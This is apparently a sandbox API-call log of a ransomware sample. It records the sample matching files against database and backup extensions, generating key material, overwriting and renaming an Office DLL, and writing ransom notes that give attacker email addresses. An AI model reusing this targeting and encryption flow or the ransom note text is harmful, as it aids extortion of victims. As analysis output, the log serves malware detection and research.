	[0080.382] lstrlenW (lpString=".EDB") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".EDB") returned 0x0
	[0080.382] lstrlenW (lpString=".DACPAC") returned 7
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.382] lstrlenW (lpString=".VHD") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".VHD") returned 0x0
	[0080.382] lstrlenW (lpString=".DBV") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DBV") returned 0x0
	[0080.382] lstrlenW (lpString=".dacpac") returned 7
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dacpac") returned 0x0
	[0080.382] lstrlenW (lpString=".sdf") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".sdf") returned 0x0
	[0080.382] lstrlenW (lpString=".accdb") returned 6
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".accdb") returned 0x0
	[0080.382] lstrlenW (lpString=".DBX") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DBX") returned 0x0
	[0080.382] lstrlenW (lpString=".MDT") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".MDT") returned 0x0
	[0080.382] lstrlenW (lpString=".SQB") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".SQB") returned 0x0
	[0080.382] lstrlenW (lpString=".vhd") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".vhd") returned 0x0
	[0080.382] lstrlenW (lpString=".bac") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".bac") returned 0x0
	[0080.382] lstrlenW (lpString=".mdf") returned 4
	[0080.382] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".mdf") returned 0x0
	[0080.383] lstrlenW (lpString=".BAK") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".BAK") returned 0x0
	[0080.383] lstrlenW (lpString=".BAC") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".BAC") returned 0x0
	[0080.383] lstrlenW (lpString=".dbs") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dbs") returned 0x0
	[0080.383] lstrlenW (lpString=".vhdx") returned 5
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".vhdx") returned 0x0
	[0080.383] lstrlenW (lpString=".NDF") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".NDF") returned 0x0
	[0080.383] lstrlenW (lpString=".dat") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dat") returned 0x0
	[0080.383] lstrlenW (lpString=".DBS") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DBS") returned 0x0
	[0080.383] lstrlenW (lpString=".CKP") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".CKP") returned 0x0
	[0080.383] lstrlenW (lpString=".edb") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".edb") returned 0x0
	[0080.383] lstrlenW (lpString=".PST") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".PST") returned 0x0
	[0080.383] lstrlenW (lpString=".dbf") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dbf") returned 0x0
	[0080.383] lstrlenW (lpString=".SQL") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".SQL") returned 0x0
	[0080.383] lstrlenW (lpString=".pst") returned 4
	[0080.383] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".pst") returned 0x0
	[0080.384] lstrlenW (lpString=".dbv") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dbv") returned 0x0
	[0080.384] lstrlenW (lpString=".SDF") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".SDF") returned 0x0
	[0080.384] lstrlenW (lpString=".dtxs") returned 5
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dtxs") returned 0x0
	[0080.384] lstrlenW (lpString=".db3") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".db3") returned 0x0
	[0080.384] lstrlenW (lpString=".OST") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".OST") returned 0x0
	[0080.384] lstrlenW (lpString=".dbx") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dbx") returned 0x0
	[0080.384] lstrlenW (lpString=".DB3") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DB3") returned 0x0
	[0080.384] lstrlenW (lpString=".DAT") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DAT") returned 0x0
	[0080.384] lstrlenW (lpString=".VHDX") returned 5
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".VHDX") returned 0x0
	[0080.384] lstrlenW (lpString=".ndf") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".ndf") returned 0x0
	[0080.384] lstrlenW (lpString=".DB") returned 3
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DB") returned 0x0
	[0080.384] lstrlenW (lpString=".sql") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".sql") returned 0x0
	[0080.384] lstrlenW (lpString=".MYD") returned 4
	[0080.384] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".MYD") returned 0x0
	[0080.385] lstrlenW (lpString=".DBT") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DBT") returned 0x0
	[0080.385] lstrlenW (lpString=".ACCDB") returned 6
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.385] lstrlenW (lpString=".fdb") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".fdb") returned 0x0
	[0080.385] lstrlenW (lpString=".bak") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".bak") returned 0x0
	[0080.385] lstrlenW (lpString=".myd") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".myd") returned 0x0
	[0080.385] lstrlenW (lpString=".DTXS") returned 5
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".DTXS") returned 0x0
	[0080.385] lstrlenW (lpString=".ckp") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".ckp") returned 0x0
	[0080.385] lstrlenW (lpString=".dbt") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".dbt") returned 0x0
	[0080.385] lstrlenW (lpString=".db") returned 3
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".db") returned 0x0
	[0080.385] lstrlenW (lpString=".TXT") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".TXT") returned 0x0
	[0080.385] lstrlenW (lpString=".MDF") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".MDF") returned 0x0
	[0080.385] lstrlenW (lpString=".bdb") returned 4
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".bdb") returned 0x0
	[0080.385] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.385] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0080.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.386] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0080.387] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.387] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.387] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20037703626) returned 1
	[0080.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x99c42a50, dwHighDateTime=0x1d60e1e)) 
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bc48
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bc48 | out: hHeap=0x300000) returned 1
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0080.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbcf0
	[0080.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.388] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0080.388] GetLastError () returned 0x0
	[0080.388] GetLastError () returned 0x0
	[0080.388] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0080.388] GetLastError () returned 0x0
	[0080.388] GetLastError () returned 0x0
	[0080.388] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x6190, lpOverlapped=0x0) returned 1
	[0080.494] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffff9e70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.494] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x6190, lpOverlapped=0x0) returned 1
	[0080.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0080.494] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.495] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.495] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.495] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.495] CloseHandle (hObject=0x118) returned 1
	[0080.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.495] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUOPTIN.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muoptin.dll.~~~~")) returned 1
	[0080.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0080.496] GetLastError () returned 0x0
	[0080.496] RtlWakeConditionVariable () returned 0x365f70
	[0080.496] GetCurrentThreadId () returned 0x9cc
	[0080.496] GetCurrentThreadId () returned 0x9cc
	[0080.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fad10 | out: hHeap=0x300000) returned 1
	[0080.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e298 | out: hHeap=0x300000) returned 1
	[0080.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801470
	[0080.497] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0080.585] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0080.585] WriteFile (in: hFile=0x118, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0080.586] CloseHandle (hObject=0x118) returned 1
	[0080.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801470 | out: hHeap=0x300000) returned 1
	[0080.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0080.586] RtlWakeConditionVariable () returned 0x365f70
	[0080.586] GetCurrentThreadId () returned 0x9cc
	[0080.586] GetCurrentThreadId () returned 0x9cc
	[0080.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ad008 | out: hHeap=0x300000) returned 1
	[0080.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e260 | out: hHeap=0x300000) returned 1
	[0080.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801470
	[0080.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.632] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0080.632] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0080.633] CloseHandle (hObject=0x124) returned 1
	[0080.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801470 | out: hHeap=0x300000) returned 1
	[0080.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0080.634] RtlWakeConditionVariable () returned 0x365f70
	[0080.634] GetCurrentThreadId () returned 0x9cc
	[0080.634] GetCurrentThreadId () returned 0x9cc
	[0080.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801388
	[0080.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9d70 | out: hHeap=0x300000) returned 1
	[0080.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1b8 | out: hHeap=0x300000) returned 1
	[0080.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801470
	[0080.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0080.635] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0080.635] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0080.637] CloseHandle (hObject=0x124) returned 1
	[0080.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801470 | out: hHeap=0x300000) returned 1
	[0080.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2801388 | out: hHeap=0x300000) returned 1
	[0080.637] RtlWakeConditionVariable () returned 0x365f70
	[0080.637] GetCurrentThreadId () returned 0x9cc
	[0080.637] GetCurrentThreadId () returned 0x9cc
	[0080.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0080.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9f50 | out: hHeap=0x300000) returned 1
	[0080.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e180 | out: hHeap=0x300000) returned 1
	[0080.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x27f9f40
	[0080.638] lstrlenW (lpString=".scr") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".scr") returned 0x0
	[0080.638] lstrlenW (lpString=".cmd") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".cmd") returned 0x0
	[0080.638] lstrlenW (lpString=".dll") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".dll") returned 0x0
	[0080.638] lstrlenW (lpString=".bat") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".bat") returned 0x0
	[0080.638] lstrlenW (lpString=".cpl") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".cpl") returned 0x0
	[0080.638] lstrlenW (lpString=".sys") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".sys") returned 0x0
	[0080.638] lstrlenW (lpString=".msc") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".msc") returned 0x0
	[0080.638] lstrlenW (lpString=".com") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".com") returned 0x0
	[0080.638] lstrlenW (lpString=".lnk") returned 4
	[0080.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".lnk") returned 0x0
	[0080.638] lstrlenW (lpString=".msp") returned 4
	[0080.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".msp") returned 0x0
	[0080.639] lstrlenW (lpString=".pif") returned 4
	[0080.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch=".pif") returned 0x0
	[0080.639] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
